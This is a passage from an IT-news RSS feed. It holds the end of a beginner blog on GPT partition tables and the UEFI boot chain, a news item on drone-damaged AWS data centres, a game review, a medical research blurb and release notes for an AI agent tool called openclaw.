small number of sectors at both ends are consumed by GPT overhead.</p><p><strong>10. Disk GUID (Bytes 56–71)</strong> A unique 16-byte identifier for this specific disk. No other disk in the world has the same GUID. Formatted as: 1DF1B0D6-43BE-374E-B1E6-3866ECB17389. Used to distinguish this disk from all others connected to the system. It also matters in forensics: if you clone a disk byte-for-byte, the clone inherits the same Disk GUID, which forensic tools detect as suspicious — two disks claiming the same identity. Each partition also has its own separate GUID stored in its partition entry. The Disk GUID here is specifically about the whole drive, not any individual partition.</p><p><strong>11. Partition Entry Array LBA (Bytes 72–79) </strong>The field points to the sector where the Partition Entry Array begins — the master list of all partitions on the disk. The value is almost always LB2 (Sector 2), the sector immediately after the GPT header. The Partition Entry Array contains up to 128 records, each describing one partition. By storing this address explicitly rather than hardcoding it, GPT allows software to verify the array is where it expects it to be. If this field pointed to an unexpected location, it would immediately signal corruption or tampering.</p><p><strong>12. Number of Partition Entries (Bytes 80–83)</strong> Value: 80 00 00 00 → Decimal 128 GPT always reserves space for 128 partitions, regardless of how many partitions you actually create. Even if your disk has only 3 partitions, the Partition Entry Array still contains 128 slots — the unused 125 are simply filled with zeros. Why? Because the array must be a fixed, known size before any partitions exist.</p><p><strong>13. Size of Each Partition Entry (Bytes 84–87)</strong> Value: 80 00 00 00 → Decimal 128 bytes Each partition's entry in the Partition Entry Array takes up exactly 128 bytes. Not the partition's own size — just the size of its record in the table. So the total space the Partition Entry Array is:</p><pre>128 entries * 128 bytes each = 16, 384 bytes</pre><p>This is just multiplication — 128 slots, each slot is 128 bytes wide, so the entire table is 16,384 bytes total. And you know that each sector holds 512 bytes. So to find how many sectors 16, 384 bytes needs:</p><pre>16,384 bytes ÷ 512 bytes per sector<br>= 32 sectors</pre><p>The Partition Entry Array needs exactly 32 sectors — not 31, not 33. Perfectly fits with no leftover space. This is why it occupies <strong>LBA 2 through LBA 33</strong>:</p><pre>LBA 2  = Sector 1 of the array<br>LBA 3  = Sector 2 of the array<br>LBA 4  = Sector 3 of the array<br>...<br>LBA 33 = Sector 32 of the array  ← array ends here</pre><p><strong>14. CRC32 of Partition Array (Bytes 88–91)</strong> A checksum for the entire Partition Entry Array. If any partition entry is tampered with or corrupted, this checksum will fail and the system is alerted. Every time the system reads the partition table, it recalculates this checksum and compares it to the stored value. If even one byte in any partition entry has changed — due to disk corruption, a failing drive sector, or deliberate tampering — this checksum fails. The system then falls back to the backup GPT at the end of the disk, which has its own copy of the array with its own checksum. If the backup is intact, the primary is repaired automatically.</p><p><strong>Component 3 — Partition Entry Array (Sectors 2–33)</strong></p><p>This is the actual <strong>partition table</strong> of GPT — a list of all 128 partition entries, each exactly 128 bytes. It starts at Sector 2 and spans through Sector 33.</p><p>Each Partition Entry Has 6 Fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*1cUq-isYHYOeZbRhz4UqOQ.png"></figure><p><strong>1. Partition Type GUID (Bytes 0–15)</strong> Identifies <em>what kind</em> of partition this is — EFI System Partition, Windows data partition, Linux partition, etc. Stored in mixed-endian, so you need to reverse specific byte groups before reading. Once converted, you can look up the GUID online to find the partition type.</p><blockquote><em>Example: </em><em>C12A7328-F81F-11D2-BA4B-00A0C93EC93B = EFI System Partition</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*1p0mATjwvV9af9iHll3nFg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*an-DuMuW4ejKgnh0bIpSxQ.png"></figure><p><strong>2. Unique Partition GUID (Bytes 16–31)</strong> A unique identifier for <em>this specific partition</em>. No two partitions — even of the same type — share this GUID. Also stored in mixed-endian format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*g1w_ZwtX_zO-LqQM0nWj9w.png"></figure><p><strong>3. Starting LBA (Bytes 32–39)</strong> The sector number where this partition begins on the disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*5_6vwKAA0qwL6Jawz_lGrw.png"></figure><p><strong>4. Ending LBA (Bytes 40–47)</strong> The sector number where this partition ends on the disk. The partition occupies every sector between Starting LBA and Ending LBA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*l3I9OyHKqal70OkW1TIawA.png"></figure><p><strong>5. Attributes (Bytes 48–55): </strong>An 8-byte field where individual bits acts as flags — each bit being 0 or 1 switches a property on or off. Flags that describe special properties of the partition:</p><ul><li>Is it <strong>required</strong> by the system (cannot be deleted)?</li><li>Is it <strong>bootable</strong>?</li><li>Is it <strong>hidden</strong> from the OS?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*ezT89OICanX41kjbxXj6mg.png"></figure><p>For example, the EFI System Partition typically has <strong>Bit 0 = 1</strong> (required, cannot be deleted) and <strong>Bit 2 = 1</strong> (bootable).</p><p><strong>6. Partition Name (Bytes 56–127)</strong> The human-readable name of the partition (e.g., “EFI System Partition”, “Basic Data Partition”). Encoded in UTF-16 format, taking up the remaining 72 bytes of the entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*avGBpEM7OavzRGqhZB2jww.png"></figure><p>This is purely for human readability — disk tools and partition managers display this name to you. The system itself uses the GUIDs, not this name, to identify partitions.</p><h4>Component 4 — Your Actual Partitions (LBA 34 to Last Usable LBA)</h4><p>This is the space where your C: drive, D: drive, and any other partitions live. Everything from LBA 34 to the Last Usable LBA is available for partition data. Each partition’s exact location is defined by the Starting LBA and Ending LBA in its partition entry.</p><h4>Component 5 — Backup GPT (End of Disk)</h4><p>GPT stores a complete backup of both the Partition Entry Array and the GPT Header at the very end of the disk. The backup Partition Entry Array comes first, followed by the backup GPT Header at the very last sector.</p><p>If the primary GPT Header or Partition Entry Array fails its CRC32 check, the system reads the Backup LBA from whatever it could parse of the primary, jumps to the end of the disk, and reads the backup. If the backup is intact, the primary is automatically restored. This is the self-healing system that MBR never had.</p><p><strong>The EFI System Partition (ESP) — Critical Concept</strong></p><p>The first partition on any GPT disk is almost always the <strong>EFI System Partition</strong>. This is where the <strong>bootloader files</strong> live — files with the .efi extension that are responsible for loading your operating system.</p><p>In MBR, the bootloader was crammed into the tiny 446 bytes of bootloader code in Sector 0. In GPT/UEFI, the bootloader is a collection of proper files stored in this dedicated partition — much more flexible and robust.</p><pre>MBR approach:<br>┌─────────────────────────────────┐<br>│ Sector 0 — 512 bytes total      │<br>│ ├── 446 bytes: Bootloader code  │ ← entire bootloader crammed here<br>│ ├── 64 bytes:  Partition table  │<br>│ └── 2 bytes:   Signature        │<br>└─────────────────────────────────┘<br>446 bytes is tiny — barely enough for a basic bootloader<br><br>GPT/UEFI approach:<br>┌──────────────────────────────────────────┐<br>│ EFI System Partition (100 MB typical)    │<br>│ ├── /EFI/Boot/bootx64.efi               │ ← actual bootloader files<br>│ ├── /EFI/Microsoft/Boot/bootmgfw.efi    │ ← Windows boot manager<br>│ ├── /EFI/ubuntu/grubx64.efi            │ ← Linux bootloader<br>│ └── ... more .efi files                 │<br>└──────────────────────────────────────────┘<br>Hundreds of megabytes — full files, multiple OS bootloaders can coexist</pre><p>With MBR, you had 446 bytes to work with. With GPT, you have an entire partition — typically 100 MB — filled with proper .efi files. This is why modern systems can dual-boot Windows and Linux cleanly, with each OS storing its own bootloader file in the ESP without conflicting.</p><h4>Step 5 — Load Bootloader</h4><p>After the system firmware (BIOS/UEFI) identifies the bootable partition using the MBR or GPT, it loads a more advanced program called the bootloader from that partition into memory. This bootloader (such as GRUB for Linux or Windows Boot Manager) is capable of understanding the disk’s filesystem, unlike the tiny first-stage code in the MBR. Its job is to locate the necessary operating system files, especially the kernel, and prepare the system for startup. In some cases, it also provides a menu that allows the user to choose between multiple operating systems or boot options. At this stage, the system transitions from very basic hardware-level instructions to a more intelligent program that can interact with stored data in a structured way.</p><h4>Step 6 — Load OS</h4><p>Once the bootloader has done its job, it loads the operating system’s kernel into RAM and transfers control to it. The kernel is the core of the operating system and is responsible for managing hardware, memory, processes, and system resources. After taking control, the kernel initializes essential components such as device drivers, sets up communication between hardware and software, and starts system services. This process eventually leads to the launching of the user interface, such as a login screen or desktop environment. At this point, the computer is fully operational, and the operating system is ready for user interaction.</p><h3>The Full Boot Chain at a Glance</h3><pre>Power button pressed<br>        ↓<br>CPU executes UEFI firmware<br>        ↓<br>POST — hardware health check<br>        ↓<br>Firmware reads boot order → selects disk<br>        ↓<br>Reads Sector 0 → Protective MBR → identifies GPT disk<br>        ↓<br>Reads Sector 1 → GPT Header → verifies CRC32<br>        ↓<br>Reads Sectors 2–33 → Partition Entry Array → verifies CRC32<br>        ↓<br>Finds EFI System Partition → mounts FAT32 filesystem<br>        ↓<br>Loads bootmgfw.efi → Windows Boot Manager runs<br>        ↓<br>Loads winload.efi → verifies Secure Boot signatures<br>        ↓<br>Loads ntoskrnl.exe → Windows kernel takes control<br>        ↓<br>Drivers, services, login screen → OS fully running</pre><p>At any stage where a CRC32 fails, the system automatically attempts recovery from the backup GPT structures. At any stage where Secure Boot detects a signature mismatch, loading is refused. This layered resilience is what separates modern GPT-based systems from the fragile MBR-based boot process they replaced.</p><h3>Why This Knowledge Matters</h3><p><strong>For cybersecurity:</strong> The structures covered here are the primary targets of the most sophisticated malware — bootkits — because they execute before the OS and therefore before any antivirus. Understanding these structures is prerequisite knowledge for understanding how bootkit attacks work and why Secure Boot was designed to counter them.</p><p><strong>For digital forensics:</strong> The Starting LBA of every partition is recorded in the partition table even after the partition is deleted. A forensic analyst who knows how to read these entries can jump directly to former partition locations and recover data that the user believed was erased. The Disk GUID also persists through most deletions and can link a disk to a specific machine.</p><p><strong>For system administration:</strong> When a disk fails to boot, understanding the chain above tells you exactly which component to investigate first — is the GPT Header corrupted? Is the ESP missing? Is the bootloader file absent? Each failure has a specific symptom and a specific repair procedure. Without this foundation, troubleshooting is guesswork.</p><p>The structures discussed here are not esoteric knowledge. They are the literal foundation that every piece of software on your computer depends on, every time it starts.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><em>This blog is written for students and beginners moving beyond surface-level understanding into how systems actually work — particularly those interested in cybersecurity, digital forensics, and operating systems.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d2217d9b0b2b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/before-windows-loads-the-hidden-boot-architecture-every-tech-person-should-understand-d2217d9b0b2b">TryHackMe Walkthrough: MBR and GPT Analysis (Beginner to Intermediate Guide)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Stuck With Months of Repairs After Drone Strikes On Data Centers]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: Amazon's cloud customers will need to wait several more months before the US tech company can repair war-damaged data centers and restore normal operations in the Middle East. The announcement comes two months after Iranian drone strikes targ...]]></description>
<link>https://tsecurity.de/de/3481597/it-security-nachrichten/amazon-stuck-with-months-of-repairs-after-drone-strikes-on-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3481597/it-security-nachrichten/amazon-stuck-with-months-of-repairs-after-drone-strikes-on-data-centers/</guid>
<pubDate>Sat, 02 May 2026 05:35:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: Amazon's cloud customers will need to wait several more months before the US tech company can repair war-damaged data centers and restore normal operations in the Middle East. The announcement comes two months after Iranian drone strikes targeted three Amazon data centers in the United Arab Emirates and Bahrain -- meaning that full recovery from the cloud disruption could take nearly half a year in all. The Amazon Web Services (AWS) dashboard posted an April 30 update describing how its UAE and Bahrain cloud regions "suffered damage as a result of the conflict in the Middle East" and are unable to support customer applications. The update also said that "relevant billing operations are currently suspended while we restore normal operations" in a process that "is expected to take several months."
 
That wording suggests Amazon will continue to avoid billing AWS customers in the affected regions -- ME-CENTRAL-1 and ME-SOUTH-1 -- after it initially waived all usage-related charges for March 2026 at an estimated cost of $150 million. AWS also "strongly" recommended that customers migrate resources to other cloud regions and rely on remote backups to restore any "inaccessible resources." Some customers, such as the Dubai-based super app Careem—which offers ride-hailing, household services, and food and grocery delivery -- were able to get back online quickly after doing an overnight migration to other data center servers.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Amazon+Stuck+With+Months+of+Repairs+After+Drone+Strikes+On+Data+Centers%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F05%2F02%2F006240%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F05%2F02%2F006240%2Famazon-stuck-with-months-of-repairs-after-drone-strikes-on-data-centers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/05/02/006240/amazon-stuck-with-months-of-repairs-after-drone-strikes-on-data-centers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reclaim! Azhe-giiwewining Review (PC)]]></title>
<description><![CDATA[I love the constantly chirping birds. The Diindiisiwag, which translates to blue jays, are beautiful, with bright shades of deep blue covering their wings, and they travel in an unbreakable group of three. They love mischief and jokes, which they aren’t afraid to tell multiple times. That’s good,...]]></description>
<link>https://tsecurity.de/de/3481025/it-security-nachrichten/reclaim-azhe-giiwewining-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3481025/it-security-nachrichten/reclaim-azhe-giiwewining-review-pc/</guid>
<pubDate>Fri, 01 May 2026 20:36:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I love the constantly chirping birds. The Diindiisiwag, which translates to blue jays, are beautiful, with bright shades of deep blue covering their wings, and they travel in an unbreakable group of three. They love mischief and jokes, which they aren’t afraid to tell multiple times. That’s good, considering that even as I lack the cultural context to fully understand what makes some of them funny, the birds’ delivery is good enough to make me laugh.

I’ve already talked to a few animals, and one human who’s actually a spirit that might give my character, Miskwaa, a way to get home to her grandma. Now I’m looking for ways to repair a canoe, which involves a trip underwater and more conversations with animal spirits. Let’s see if any can tell good jokes.

Reclaim! Azhe-giiwewining is developed and published by Grassroots Indigenous Multimedia. I played on the PC using Steam, with the experience not available on other hardware. The video game uses an old-school point-a...]]></content:encoded>
</item>
<item>
<title><![CDATA[This Treatment Could Reverse Osteoarthritis Joint Damage With a Single Injection]]></title>
<description><![CDATA[Osteoarthritis has no cure, but researchers have developed new therapies that help aging or damaged joints repair themselves in a matter of weeks.]]></description>
<link>https://tsecurity.de/de/3479990/it-nachrichten/this-treatment-could-reverse-osteoarthritis-joint-damage-with-a-single-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3479990/it-nachrichten/this-treatment-could-reverse-osteoarthritis-joint-damage-with-a-single-injection/</guid>
<pubDate>Fri, 01 May 2026 11:31:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Osteoarthritis has no cure, but researchers have developed new therapies that help aging or damaged joints repair themselves in a matter of weeks.]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.4.29-beta.3]]></title>
<description><![CDATA[2026.4.29
Highlights

Messaging and automation get active-run steering by default, visible-reply enforcement, spawned subagent routing metadata, and opt-in follow-up commitments for heartbeat-delivered reminders. Thanks @vincentkoc, @scoootscooob, @samzong, and @vignesh07.
Memory grows into a peo...]]></description>
<link>https://tsecurity.de/de/3478646/downloads/openclaw-2026429-beta3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3478646/downloads/openclaw-2026429-beta3/</guid>
<pubDate>Thu, 30 Apr 2026 20:46:26 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.4.29</h2>
<h3>Highlights</h3>
<ul>
<li>Messaging and automation get active-run steering by default, visible-reply enforcement, spawned subagent routing metadata, and opt-in follow-up commitments for heartbeat-delivered reminders. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vignesh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vignesh07">@vignesh07</a>.</li>
<li>Memory grows into a people-aware wiki with provenance views, per-conversation Active Memory filters, partial recall on timeout, and bounded REM preview diagnostics. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quengh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quengh">@quengh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Provider/model coverage expands with NVIDIA onboarding/catalogs plus faster manifest-backed model/auth paths, Bedrock Opus 4.7 thinking parity, and safer Codex/OpenAI-compatible replay and streaming behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasad-yashdeep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasad-yashdeep">@prasad-yashdeep</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woodhouse-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woodhouse-bot">@woodhouse-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LyHug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LyHug">@LyHug</a>.</li>
<li>Gateway and packaged-plugin reliability focuses on slow-host startup, reusable model catalogs, event-loop readiness diagnostics, runtime-dependency repair, stale-session recovery, and version-scoped update caches. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lpendeavors/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lpendeavors">@lpendeavors</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DerFlash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DerFlash">@DerFlash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhsmith409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhsmith409">@jhsmith409</a>.</li>
<li>Channel fixes cluster around Slack Block Kit limits, Telegram proxy/webhook/polling/send resilience, Discord startup/rate-limit handling, WhatsApp delivery/liveness, and Microsoft Teams/Matrix/Feishu edge cases. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/djgeorg3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/djgeorg3">@djgeorg3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dseravalli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dseravalli">@dseravalli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nklock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nklock">@nklock</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>.</li>
<li>Security and operations add OpenGrep scanning, sharper GHSA triage policy, safer exec/pairing/owner-scope handling, Docker/onboarding automation, and web-fetch IPv6 ULA opt-in for trusted proxy stacks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinjimz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinjimz">@jinjimz</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Security/tools: configured tool sections (<code>tools.exec</code>, <code>tools.fs</code>) no longer implicitly widen restrictive profiles (<code>messaging</code>, <code>minimal</code>). Users who need those tools under a restricted profile must add explicit <code>alsoAllow</code> entries; a startup warning identifies affected configs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078726004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47487/hovercard" href="https://github.com/openclaw/openclaw/issues/47487">#47487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/commitments: add opt-in inferred follow-up commitments with hidden batched extraction, per-agent/per-channel scoping, heartbeat delivery, CLI management, a simple <code>commitments.enabled</code>/<code>commitments.maxPerDay</code> config, and heartbeat-interval due-time clamping so magical check-ins do not echo immediately. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348684831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74189/hovercard" href="https://github.com/openclaw/openclaw/pull/74189">#74189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vignesh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vignesh07">@vignesh07</a>.</li>
<li>Messages/queue: make <code>steer</code> drain all pending Pi steering messages at the next model boundary, keep legacy one-at-a-time steering as <code>queue</code>, and add a dedicated steering queue docs page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Messages/queue: default active-run queueing to <code>steer</code> with a 500ms followup fallback debounce, and document the queue modes, precedence, and drop policies on the command queue page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Messages: add global <code>messages.visibleReplies</code> so operators can require visible output to go through <code>message(action=send)</code> for any source chat, while <code>messages.groupChat.visibleReplies</code> stays available as the group/channel override. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scoootscooob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scoootscooob">@scoootscooob</a>.</li>
<li>Gateway/events: surface <code>spawnedBy</code> on subagent chat and agent broadcast payloads so clients can route child session events without an extra session lookup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226049569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63244" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63244/hovercard" href="https://github.com/openclaw/openclaw/pull/63244">#63244</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Memory/wiki: add agent-facing people wiki metadata, canonical aliases, person cards, relationship graphs, privacy/provenance reports, evidence-kind drilldown, and search modes for person lookup, question routing, source evidence, and raw claims. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: add optional per-conversation <code>allowedChatIds</code> and <code>deniedChatIds</code> filters so operators can enable recall only for selected direct, group, or channel conversations while keeping broad sessions skipped. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4280170574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67977/hovercard" href="https://github.com/openclaw/openclaw/pull/67977">#67977</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quengh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quengh">@quengh</a>.</li>
<li>Active Memory: return bounded partial recall summaries when the hidden memory sub-agent times out, including the default temporary-transcript path, so useful recovered context is not discarded. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340395145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73219/hovercard" href="https://github.com/openclaw/openclaw/pull/73219">#73219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joeykrug/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joeykrug">@joeykrug</a>.</li>
<li>Gateway/memory: add a read-only <code>doctor.memory.remHarness</code> RPC so operator clients can preview bounded REM dreaming output without running mutation paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4263469272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66673" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66673/hovercard" href="https://github.com/openclaw/openclaw/pull/66673">#66673</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
